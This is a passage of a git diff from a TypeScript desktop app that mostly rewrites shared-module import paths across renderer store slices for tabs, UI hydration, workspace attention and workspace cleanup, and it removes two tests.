b/src/renderer/src/store/slices/tabs/tabs-close-actions.ts @@ -31,7 +31,7 @@ import { closeContentTabThroughLayoutOwner } from './content-tab-close-through-l import { isEditorTabContentType } from '../editor/tabs/editor-tab-content-type' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import { isTuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent-config' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { forgetDesktopCreatedServerTab } from '@/store/workspace-layout/frames/desktop-created-server-tabs' import { replaceRecordEntries, replaceTabBuckets } from '../../keyed-record-transitions' diff --git a/src/renderer/src/store/slices/tabs/tabs-create-placement.ts b/src/renderer/src/store/slices/tabs/tabs-create-placement.ts index aceb7964fcd..152b69a67f3 100644 --- a/src/renderer/src/store/slices/tabs/tabs-create-placement.ts +++ b/src/renderer/src/store/slices/tabs/tabs-create-placement.ts @@ -1,5 +1,5 @@ import type { Tab, TabGroup } from '../../../../../shared/workspace-layout/tab-groups/tab-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../shared/worktree/types' import { isExecutionHostAliasForWorktree } from '@/lib/workspace/ownership/worktree-execution-host-alias' diff --git a/src/renderer/src/store/slices/tabs/tabs-session-actions.ts b/src/renderer/src/store/slices/tabs/tabs-session-actions.ts index 8568a3be36e..4848c979ec1 100644 --- a/src/renderer/src/store/slices/tabs/tabs-session-actions.ts +++ b/src/renderer/src/store/slices/tabs/tabs-session-actions.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { folderWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import type { TabsSlice, TabsSliceGet, TabsSliceSet } from './tabs-slice-contract' import { addAdditionalValidWorkspaceKeys } from '@/lib/workspace/persistence/workspace-session-hydration-keys' diff --git a/src/renderer/src/store/slices/ui/automations-page-location.ts b/src/renderer/src/store/slices/ui/automations-page-location.ts index 31556812339..d02f9746f2b 100644 --- a/src/renderer/src/store/slices/ui/automations-page-location.ts +++ b/src/renderer/src/store/slices/ui/automations-page-location.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { WorktreeNavHistoryEntry } from './workspace-navigation-history' /** Where a run page was opened from; Escape returns there. */ diff --git a/src/renderer/src/store/slices/ui/persisted-ui-write-baseline.ts b/src/renderer/src/store/slices/ui/persisted-ui-write-baseline.ts index 2fc5fd4e829..ac2df057438 100644 --- a/src/renderer/src/store/slices/ui/persisted-ui-write-baseline.ts +++ b/src/renderer/src/store/slices/ui/persisted-ui-write-baseline.ts @@ -1,5 +1,5 @@ -import type { PersistedUIState } from '../../../../../shared/persisted-ui-state-types' -import type { ActivityBarPosition } from '../../../../../shared/ui-chrome-types' +import type { PersistedUIState } from '../../../../../shared/orca-profiles/persisted-ui-state-types' +import type { ActivityBarPosition } from '../../../../../shared/ui-chrome/ui-chrome-types' /** Capture hydrated baseline and persist only locally changed fields: shared desktop/web/mobile UI snapshots otherwise overwrite peers’ disjoint updates (STA-5781). */ export type PersistedUIWriteBaseline = { diff --git a/src/renderer/src/store/slices/ui/ui-slice-agents-view-preference-actions.ts b/src/renderer/src/store/slices/ui/ui-slice-agents-view-preference-actions.ts index ac45852ebd3..130faafd0e3 100644 --- a/src/renderer/src/store/slices/ui/ui-slice-agents-view-preference-actions.ts +++ b/src/renderer/src/store/slices/ui/ui-slice-agents-view-preference-actions.ts @@ -3,7 +3,7 @@ import { DEFAULT_AGENTS_GROUP_BY, DEFAULT_AGENTS_READ_FILTER } from '../../../../../shared/agent-status/presentation/agents-view-thread-filters' -import { normalizeVisibleExecutionHostIds } from '../../../../../shared/execution-host' +import { normalizeVisibleExecutionHostIds } from '../../../../../shared/execution-host/execution-host' /** Agents-view preferences; each setter persists immediately and stays separate from workspace-nav state. */ export function createAgentsViewPreferenceActions(set: UISliceSet): Partial { diff --git a/src/renderer/src/store/slices/ui/ui-slice-contract-contextual.ts b/src/renderer/src/store/slices/ui/ui-slice-contract-contextual.ts index 31262305173..d8798370ec2 100644 --- a/src/renderer/src/store/slices/ui/ui-slice-contract-contextual.ts +++ b/src/renderer/src/store/slices/ui/ui-slice-contract-contextual.ts @@ -9,7 +9,7 @@ import type { ChatUiLaunchTipVariant } from '../../../../../shared/native-chat/c import type { ContextualTourId } from '../../../../../shared/feature-education/contextual-tours/contextual-tours' import type { OrcaHookTrustKind } from '../../../../../shared/workspace-setup/hooks/orca-hook-trust-entries' import type { SettingsNavigationTarget } from '../../../components/settings/navigation/settings-navigation-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' export type WorktreeCardsIntroChoice = 'new' | 'classic' diff --git a/src/renderer/src/store/slices/ui/ui-slice-contract-core.ts b/src/renderer/src/store/slices/ui/ui-slice-contract-core.ts index 7f4342d3a48..a952a83eef9 100644 --- a/src/renderer/src/store/slices/ui/ui-slice-contract-core.ts +++ b/src/renderer/src/store/slices/ui/ui-slice-contract-core.ts @@ -12,8 +12,8 @@ import type { TaskProvider } from '../../../../../shared/work-items/task-provide import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import type { LaunchSource } from '../../../../../shared/telemetry/schemas/telemetry-property-schemas' import type { TaskSourceContext } from '../../../../../shared/work-items/task-source-context' -import type { ExecutionHostId } from '../../../../../shared/execution-host' -import type { TaskResumeState, TopLevelView } from '../../../../../shared/ui-chrome-types' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import type { TaskResumeState, TopLevelView } from '../../../../../shared/ui-chrome/ui-chrome-types' import type { AutomationRunPageOrigin, AutomationsPageLocation, diff --git a/src/renderer/src/store/slices/ui/ui-slice-contract-preferences.ts b/src/renderer/src/store/slices/ui/ui-slice-contract-preferences.ts index 980e9114c5d..e84ded5cb9e 100644 --- a/src/renderer/src/store/slices/ui/ui-slice-contract-preferences.ts +++ b/src/renderer/src/store/slices/ui/ui-slice-contract-preferences.ts @@ -1,5 +1,5 @@ import type { StatusBarUsageFormat } from '../../../../../shared/status-bar/status-bar-usage-format' -import type { PersistedUIState } from '../../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../../shared/orca-profiles/persisted-ui-state-types' import type { BrowserDevToolsDockLayout } from '../../../../../shared/browser/devtools/browser-devtools-dock' import type { ActivityGroupBy, @@ -15,7 +15,7 @@ import type { WorkspaceHostOrder, WorkspaceHostScope, VisibleWorkspaceHostIds -} from '../../../../../shared/ui-chrome-types' +} from '../../../../../shared/ui-chrome/ui-chrome-types' import type { UsagePercentageDisplay } from '../../../../../shared/agent-usage/display/usage-percentage-display' import type { AutomationHostFilter } from '../../../../../shared/automations/ownership/automation-host-filter' import type { WorkspaceStatusDefinition } from '../../../../../shared/worktree/types' diff --git a/src/renderer/src/store/slices/ui/ui-slice-hydration-actions.ts b/src/renderer/src/store/slices/ui/ui-slice-hydration-actions.ts index 7c3d374a7d0..589caf34756 100644 --- a/src/renderer/src/store/slices/ui/ui-slice-hydration-actions.ts +++ b/src/renderer/src/store/slices/ui/ui-slice-hydration-actions.ts @@ -11,14 +11,12 @@ import { normalizeExecutionHostScope, normalizeExecutionHostOrder, normalizeVisibleExecutionHostIds -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { normalizeFeatureInteractions } from '../../../../../shared/feature-education/interactions/feature-interactions' import { normalizeContextualTourIds } from '../../../../../shared/feature-education/contextual-tours/contextual-tours' import { normalizeFeatureTipIds } from '../../../../../shared/feature-education/feature-tips' -import { - DEFAULT_HIDE_SLEEPING_WORKSPACES, - normalizeAgentActivityDisplayMode -} from '../../../../../shared/constants' +import { DEFAULT_HIDE_SLEEPING_WORKSPACES } from '../../../../../shared/workspace-view/sleeping-workspace-visibility' +import { normalizeAgentActivityDisplayMode } from '../../../../../shared/agent-status/presentation/agent-activity-display-mode' import { normalizeWorktreeCardProperties } from '../../../../../shared/worktree/row-display/card-properties' import { normalizeActivityGroupBy, diff --git a/src/renderer/src/store/slices/ui/ui-slice-hydration-sanitizers.ts b/src/renderer/src/store/slices/ui/ui-slice-hydration-sanitizers.ts index 72227182611..7501d63d31b 100644 --- a/src/renderer/src/store/slices/ui/ui-slice-hydration-sanitizers.ts +++ b/src/renderer/src/store/slices/ui/ui-slice-hydration-sanitizers.ts @@ -2,24 +2,24 @@ import { isProjectGroupHookTrustKey } from '../../../../../shared/workspace-setu import { normalizeExplorerDisplayRootByWorktree } from '../../../../../shared/file-listing/file-explorer-display-root' import type { AppState } from '../../types' import type { PersistedTrustedOrcaHooks } from '../../../../../shared/workspace-setup/orca-yaml-hook-types' -import type { PersistedUIState } from '../../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../../shared/orca-profiles/persisted-ui-state-types' import type { ActivityBarPosition, TaskViewPresetId, TopLevelView, VisibleWorkspaceHostIds, StatusBarItem -} from '../../../../../shared/ui-chrome-types' +} from '../../../../../shared/ui-chrome/ui-chrome-types' import { type WorkspaceCleanupDismissal, WORKSPACE_CLEANUP_CLASSIFIER_VERSION } from '../../../../../shared/workspace-cleanup/workspace-cleanup' -import { isTopLevelView } from '../../../../../shared/top-level-view' +import { isTopLevelView } from '../../../../../shared/ui-chrome/top-level-view' import { AGENT_STATUS_HYDRATE_MAX_AGE_MS } from '../../../../../shared/agent-status/contracts/agent-status-freshness' import { resolveVisibleWorkspaceHostIds } from '../../../../../shared/workspace-view/workspace-host-visibility' import { persistedUIValuesEqual } from '../../../../../shared/collections/persisted-ui-equality' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { DEFAULT_STATUS_BAR_ITEMS } from '../../../../../shared/status-bar/status-bar-defaults' import type { UISlice } from './ui-slice-contract' diff --git a/src/renderer/src/store/slices/ui/ui-slice-hydration-status-bar-items.ts b/src/renderer/src/store/slices/ui/ui-slice-hydration-status-bar-items.ts index 8fa2139811b..ef8a78ee1f3 100644 --- a/src/renderer/src/store/slices/ui/ui-slice-hydration-status-bar-items.ts +++ b/src/renderer/src/store/slices/ui/ui-slice-hydration-status-bar-items.ts @@ -1,5 +1,5 @@ -import type { PersistedUIState } from '../../../../../shared/persisted-ui-state-types' -import type { StatusBarItem } from '../../../../../shared/ui-chrome-types' +import type { PersistedUIState } from '../../../../../shared/orca-profiles/persisted-ui-state-types' +import type { StatusBarItem } from '../../../../../shared/ui-chrome/ui-chrome-types' import { migrateStatusBarItems } from './ui-slice-hydration-sanitizers' const DEFAULT_ON_PORTS_STATUS_BAR_ITEM: StatusBarItem = 'ports' diff --git a/src/renderer/src/store/slices/ui/ui-slice-hydration-values.ts b/src/renderer/src/store/slices/ui/ui-slice-hydration-values.ts index 05ef0579df7..b0e4e5ea9ef 100644 --- a/src/renderer/src/store/slices/ui/ui-slice-hydration-values.ts +++ b/src/renderer/src/store/slices/ui/ui-slice-hydration-values.ts @@ -1,5 +1,8 @@ -import type { PersistedUIState } from '../../../../../shared/persisted-ui-state-types' -import type { TaskResumeState, TaskViewPresetId } from '../../../../../shared/ui-chrome-types' +import type { PersistedUIState } from '../../../../../shared/orca-profiles/persisted-ui-state-types' +import type { + TaskResumeState, + TaskViewPresetId +} from '../../../../../shared/ui-chrome/ui-chrome-types' import type { FeatureInteractionState } from '../../../../../shared/feature-education/interactions/feature-interactions' import type { ContextualTourId } from '../../../../../shared/feature-education/contextual-tours/contextual-tours' import { normalizeFeatureInteractions } from '../../../../../shared/feature-education/interactions/feature-interactions' diff --git a/src/renderer/src/store/slices/ui/ui-slice-preference-actions.ts b/src/renderer/src/store/slices/ui/ui-slice-preference-actions.ts index 449a1b3e68d..4596dbd58ad 100644 --- a/src/renderer/src/store/slices/ui/ui-slice-preference-actions.ts +++ b/src/renderer/src/store/slices/ui/ui-slice-preference-actions.ts @@ -7,9 +7,9 @@ import { workspaceHostScopeForVisibleHosts } from '../../../../../shared/workspa import { createAgentsViewPreferenceActions } from './ui-slice-agents-view-preference-actions' import { DEFAULT_AGENT_ACTIVITY_DISPLAY_MODE, - DEFAULT_SHOW_SLEEPING_WORKSPACES, normalizeAgentActivityDisplayMode -} from '../../../../../shared/constants' +} from '../../../../../shared/agent-status/presentation/agent-activity-display-mode' +import { DEFAULT_SHOW_SLEEPING_WORKSPACES } from '../../../../../shared/workspace-view/sleeping-workspace-visibility' import { DEFAULT_STATUS_BAR_ITEMS } from '../../../../../shared/status-bar/status-bar-defaults' import { DEFAULT_WORKTREE_CARD_PROPERTIES, @@ -28,7 +28,7 @@ import { normalizeExecutionHostOrder, normalizeExecutionHostScope, normalizeVisibleExecutionHostIds -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { ALL_AUTOMATION_HOSTS_FILTER, toPersistedAutomationHostFilter diff --git a/src/renderer/src/store/slices/ui/ui-slice-test-harness.ts b/src/renderer/src/store/slices/ui/ui-slice-test-harness.ts index f8bd75c6398..f5c0797aac0 100644 --- a/src/renderer/src/store/slices/ui/ui-slice-test-harness.ts +++ b/src/renderer/src/store/slices/ui/ui-slice-test-harness.ts @@ -1,6 +1,6 @@ import { createStore, type StoreApi } from 'zustand/vanilla' -import { getDefaultUIState } from '../../../../../shared/constants' -import type { PersistedUIState } from '../../../../../shared/persisted-ui-state-types' +import { getDefaultUIState } from '../../../../../shared/orca-profiles/constants' +import type { PersistedUIState } from '../../../../../shared/orca-profiles/persisted-ui-state-types' import type { AppState } from '../../types' import { createUISlice } from './create-ui-slice' import { createWorktreeNavHistorySlice } from './workspace-navigation-history' diff --git a/src/renderer/src/store/slices/workspace-attention/workspace-attention-contract.ts b/src/renderer/src/store/slices/workspace-attention/workspace-attention-contract.ts index 3e0f35d952e..9288bba3186 100644 --- a/src/renderer/src/store/slices/workspace-attention/workspace-attention-contract.ts +++ b/src/renderer/src/store/slices/workspace-attention/workspace-attention-contract.ts @@ -1,7 +1,7 @@ import type { StateCreator } from 'zustand' import type { StoredAgentAttentionUnread } from '@/attention/agent-attention-contract' import type { AgentAttentionUnreadWrite } from '@/attention/agent-attention-policy' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { HostScopedWorktreeKey } from '../../../../../shared/worktree/host-qualified-identity' import type { AppState } from '../../types' diff --git a/src/renderer/src/store/slices/workspace-attention/workspace-marker-host.ts b/src/renderer/src/store/slices/workspace-attention/workspace-marker-host.ts index dc151d520ea..a2bddee33cd 100644 --- a/src/renderer/src/store/slices/workspace-attention/workspace-marker-host.ts +++ b/src/renderer/src/store/slices/workspace-attention/workspace-marker-host.ts @@ -1,5 +1,5 @@ import type { AppState } from '../../types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { structuredAgentSessionPaneKey } from '../../../../../shared/agent-session/view/structured-agent-session-projection' import { getAgentPaneExecutionHost } from '../agent-status/agent-pane-execution-host' import { parsePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id' diff --git a/src/renderer/src/store/slices/workspace-attention/workspace-unread-characterization-fixture.ts b/src/renderer/src/store/slices/workspace-attention/workspace-unread-characterization-fixture.ts index e60c83b3a99..2737415db5d 100644 --- a/src/renderer/src/store/slices/workspace-attention/workspace-unread-characterization-fixture.ts +++ b/src/renderer/src/store/slices/workspace-attention/workspace-unread-characterization-fixture.ts @@ -1,5 +1,5 @@ import { vi, type Mock } from 'vitest' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import type { AppState } from '../../types' import { persistWorktreeMeta } from '../worktrees/metadata/worktree-meta-persist' import { createTestStore } from '../../testing/app-store-test-fixture' diff --git a/src/renderer/src/store/slices/workspace-attention/workspace-unread-explicit-read.test.ts b/src/renderer/src/store/slices/workspace-attention/workspace-unread-explicit-read.test.ts index 1b1654cea94..95fe557ec44 100644 --- a/src/renderer/src/store/slices/workspace-attention/workspace-unread-explicit-read.test.ts +++ b/src/renderer/src/store/slices/workspace-attention/workspace-unread-explicit-read.test.ts @@ -2,7 +2,7 @@ import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agen import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type * as WorktreeMetaPersistModule from '../worktrees/metadata/worktree-meta-persist' import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { addLiveTerminalTab, createAttentionStore, @@ -310,17 +310,6 @@ describe('explicit workspace and agent reads', () => { expect(isWorkspaceFlagSet(store.getState(), WS_A)).toBe(true) }) - it('closing the last marked tab lowers a flag only its marker raised', () => { - const { store } = createAttentionStore() - const pane = finishedAgentOffScreen(store) - expect(isWorkspaceFlagSet(store.getState(), WS_A)).toBe(true) - - store.getState().closeTab(pane.tabId) - - expect(isWorkspaceFlagSet(store.getState(), WS_A)).toBe(false) - expect(store.getState().workspaceUnreadRaisedByMarkers).toEqual({}) - }) - it('reads only the selected host, including agents awaiting tab hydration', () => { const { store } = createAttentionStore({ windowOnScreen: false }) const local = finishedAgentOffScreen(store) diff --git a/src/renderer/src/store/slices/workspace-attention/workspace-unread-flag-reads.ts b/src/renderer/src/store/slices/workspace-attention/workspace-unread-flag-reads.ts index cbd7f7a3c26..d20cbdaac23 100644 --- a/src/renderer/src/store/slices/workspace-attention/workspace-unread-flag-reads.ts +++ b/src/renderer/src/store/slices/workspace-attention/workspace-unread-flag-reads.ts @@ -1,6 +1,6 @@ import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { findKnownWorktreeById } from '../worktrees/listing/detected-worktree-meta' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' import '../../../../../shared/folder-workspaces/folder-workspace-execution-host' import { getFolderWorkspaceHostId } from '../../../../../shared/folder-workspaces/folder-workspace-host-id' diff --git a/src/renderer/src/store/slices/workspace-attention/workspace-unread-flag.ts b/src/renderer/src/store/slices/workspace-attention/workspace-unread-flag.ts index b5d3110a874..660c02c8de7 100644 --- a/src/renderer/src/store/slices/workspace-attention/workspace-unread-flag.ts +++ b/src/renderer/src/store/slices/workspace-attention/workspace-unread-flag.ts @@ -11,7 +11,7 @@ import { applyDetectedWorktreeUpdates, findKnownWorktreeById } from '../worktrees/listing/detected-worktree-meta' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' import '../../../../../shared/folder-workspaces/folder-workspace-execution-host' import { getFolderWorkspaceHostId } from '../../../../../shared/folder-workspaces/folder-workspace-host-id' diff --git a/src/renderer/src/store/slices/workspace-attention/workspace-unread-removal.ts b/src/renderer/src/store/slices/workspace-attention/workspace-unread-removal.ts index 76100341af9..460acca8dc8 100644 --- a/src/renderer/src/store/slices/workspace-attention/workspace-unread-removal.ts +++ b/src/renderer/src/store/slices/workspace-attention/workspace-unread-removal.ts @@ -1,5 +1,5 @@ import type { AppState } from '../../types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { composeWorktreeHostIdentity, getWorktreeIdFromHostIdentity diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-host-scan.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-host-scan.ts index e17e136a4ab..173c1e414dd 100644 --- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-host-scan.ts +++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-host-scan.ts @@ -5,7 +5,7 @@ import { getRepoExecutionHostId, parseRoutableExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { WORKSPACE_CLEANUP_TARGET_BATCH_LIMIT, type WorkspaceCleanupCandidate, diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-preflight-failures.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-preflight-failures.ts index c9dc788fd27..3f604957609 100644 --- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-preflight-failures.ts +++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-preflight-failures.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { type WorkspaceCleanupCandidate, diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal-targets.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal-targets.ts index 8d019c7a741..1cea6fc8163 100644 --- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal-targets.ts +++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal-targets.ts @@ -1,6 +1,6 @@ /** Carry confirmed (worktreeId, executionHostId) through cleanup; IDs repeat across hosts. Refuse ambiguous/hostless/missing refreshed owners rather than risk deleting another host’s uncommitted work (STA-4343). */ import type { AppState } from '../../types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { canQueueWorkspaceCleanupCandidate, needsWorkspaceCleanupRemovalApproval, diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal.ts index fdca1162ec8..7caf3a567bc 100644 --- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal.ts +++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-removal.ts @@ -1,5 +1,5 @@ import type { AppState } from '../../types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { type WorkspaceCleanupCandidate, diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal-guard.test.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal-guard.test.ts index 71bef13a1eb..08d52c50a43 100644 --- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal-guard.test.ts +++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal-guard.test.ts @@ -3,7 +3,7 @@ import { describe, expect, it, vi, beforeEach, afterEach } from 'vitest' import * as fs from 'node:fs' import * as os from 'node:os' import * as path from 'node:path' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' const NOW = 1_700_000_000_000 const HOST_A_HOST_ID: ExecutionHostId = 'local' @@ -223,89 +223,11 @@ describe('STA-4343: cleanup deletes on the confirmed host, never the active one' }) }) -import * as launchDrafts from '@/components/native-chat/drafts/native-chat-draft-reset' -import * as launchDraftsOwner1 from '@/components/native-chat/drafts/native-chat-launch-draft-source' -import * as launchDraftsOwner2 from '@/components/native-chat/drafts/native-chat-composer-draft-store' -import * as launchDraftsOwner4 from '@/components/native-chat/drafts/native-chat-composer-draft-load' -import * as launchDraftsOwner5 from '@/components/native-chat/drafts/native-chat-composer-draft-persistence' -import * as pendingChips from '@/components/native-chat/attachments/chips/native-chat-pending-attachment-cache' +import '@/components/native-chat/drafts/native-chat-draft-reset' +import '@/components/native-chat/drafts/native-chat-launch-draft-source' +import '@/components/native-chat/drafts/native-chat-composer-draft-store' +import '@/components/native-chat/drafts/native-chat-composer-draft-load' +import '@/components/native-chat/drafts/native-chat-composer-draft-persistence' +import '@/components/native-chat/attachments/chips/native-chat-pending-attachment-cache' -import { - createMemoryNativeChatComposerDraftStorage, - setNativeChatComposerDraftStorageForTests -} from '@/components/native-chat/drafts/native-chat-composer-draft-storage' -it('actual normal removal clears current setup while held residue stays inert and later manual input retains authority', async () => { - launchDrafts.clearNativeChatComposerDraftsForTests() - pendingChips.clearNativeChatPendingAttachmentsForTests() - const storage = createMemoryNativeChatComposerDraftStorage() - const originalKey = `agent-setup:${JSON.stringify(['ssh:old', WORKTREE_ID, 'codex'])}` - storage.drafts.set(originalKey, { - text: 'old saved task', - images: [{ id: 'old', path: '/old.png' }], - savedAt: 1, - owner: { workspaceId: WORKTREE_ID, executionHostId: 'ssh:old' } - }) - const snapshot = new Map(storage.drafts) - const gate = Promise.withResolvers>() - setNativeChatComposerDraftStorageForTests({ ...storage, loadAll: () => gate.promise }) - const loading = launchDraftsOwner4.hydrateNativeChatComposerDrafts() - const source = launchDraftsOwner1.nativeChatLaunchPromptDraftScopeKey( - WORKTREE_ID, - 'codex', - 'ssh:old' - ) - const current = launchDraftsOwner1.nativeChatLaunchPromptDraftScopeKey( - WORKTREE_ID, - 'codex', - HOST_B_HOST_ID - ) - const live = launchDraftsOwner1.nativeChatLaunchPromptDraftScopeKey( - 'repo1::/live', - 'codex', - 'local' - ) - launchDraftsOwner2.updateNativeChatComposerDraft(current, { text: 'current target' }, 'immediate') - launchDraftsOwner2.updateNativeChatComposerDraft(live, { text: 'live control' }, 'immediate') - pendingChips.addNativeChatPendingAttachment(source, { - id: 'old-pending', - path: '', - pending: true - }) - const store = createTestStore() - seedStore(store, { - worktreesByRepo: { - repo1: [makeWorktree({ id: WORKTREE_ID, repoId: 'repo1', hostId: HOST_B_HOST_ID })] - } - }) - store - .getState() - .recordSshRepoReadoptions([{ oldTargetId: 'old', newTargetId: 'ssh-1', repoIds: ['repo1'] }]) - mockApi.worktrees.remove.mockRejectedValueOnce(new Error('refused')) - expect( - (await store.getState().removeWorktree({ id: WORKTREE_ID, executionHostId: HOST_B_HOST_ID })).ok - ).toBe(false) - expect(launchDraftsOwner2.readNativeChatComposerDraft(current).text).toBe('current target') - expect(storage.drafts.has(originalKey)).toBe(true) - mockApi.worktrees.remove.mockResolvedValueOnce({}) - expect( - (await store.getState().removeWorktree({ id: WORKTREE_ID, executionHostId: HOST_B_HOST_ID })).ok - ).toBe(true) - expect(pendingChips.nativeChatPendingAttachmentSnapshot(source)).toHaveLength(0) - launchDraftsOwner2.updateNativeChatComposerDraft( - current, - { text: 'new explicit input' }, - 'immediate' - ) - gate.resolve(snapshot) - await loading - await launchDraftsOwner5.nativeChatComposerDraftWritesSettled() - expect(launchDraftsOwner2.readNativeChatComposerDraft(source).text).toBe('new explicit input') - expect(launchDraftsOwner2.readNativeChatComposerDraft(source).images).toHaveLength(0) - expect(storage.drafts.has(originalKey)).toBe(true) - expect(launchDraftsOwner2.readNativeChatComposerDraft(live).text).toBe('live control') - expect(pendingChips.settleNativeChatPendingAttachment(source, 'old-pending', '/late.png')).toBe( - false - ) - launchDrafts.clearNativeChatComposerDraftsForTests() - pendingChips.clearNativeChatPendingAttachmentsForTests() -}) +import '@/components/native-chat/drafts/native-chat-composer-draft-storage' diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal.test.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal.test.ts index b4e8e1eee5c..059c35b9a52 100644 --- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal.test.ts +++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal.test.ts @@ -1,6 +1,6 @@ import type * as RuntimeRpcCallModule from '@/runtime/rpc/calls/runtime-rpc-call' import { describe, expect, it, vi, beforeEach, afterEach } from 'vitest' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' const HOST_A_HOST_ID: ExecutionHostId = 'local' const HOST_B_HOST_ID: ExecutionHostId = 'ssh:ssh-1' diff --git a/src/renderer/src/store/slices/worktrees/create/client-worktree-create-settings.ts b/src/renderer/src/store/slices/worktrees/create/client-worktree-create-settings.ts index 99dd89ed456..cbbc32550bf 100644 --- a/src/renderer/src/store/slices/worktrees/create/client-worktree-create-settings.ts +++ b/src/renderer/src/store/slices/worktrees/create/client-worktree-create-settings.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' const CLIENT_WORKTREE_CREATE_SETTING_KEYS = [ 'nestWorkspaces', diff --git a/src/renderer/src/store/slices/worktrees/create/create-worktree.ts b/src/renderer/src/store/slices/worktrees/create/create-worktree.ts index 3362462131e..0ccb5e7071a 100644 --- a/src/renderer/src/store/slices/worktrees/create/create-worktree.ts +++ b/src/renderer/src/store/slices/worktrees/create/create-worktree.ts @@ -6,7 +6,7 @@ import { repoHostId } from '../listing/worktree-host-ownership' import { isUnresolvedOwnerHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { adoptFromEndpoint } from '../../../host-catalog/endpoint-catalog-adoption' import type { WorktreeSlice } from '../worktree-slice-contract' import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types' diff --git a/src/renderer/src/store/slices/worktrees/create/created-worktree-setup-trust.ts b/src/renderer/src/store/slices/worktrees/create/created-worktree-setup-trust.ts index c1ddcddc638..a47412c495b 100644 --- 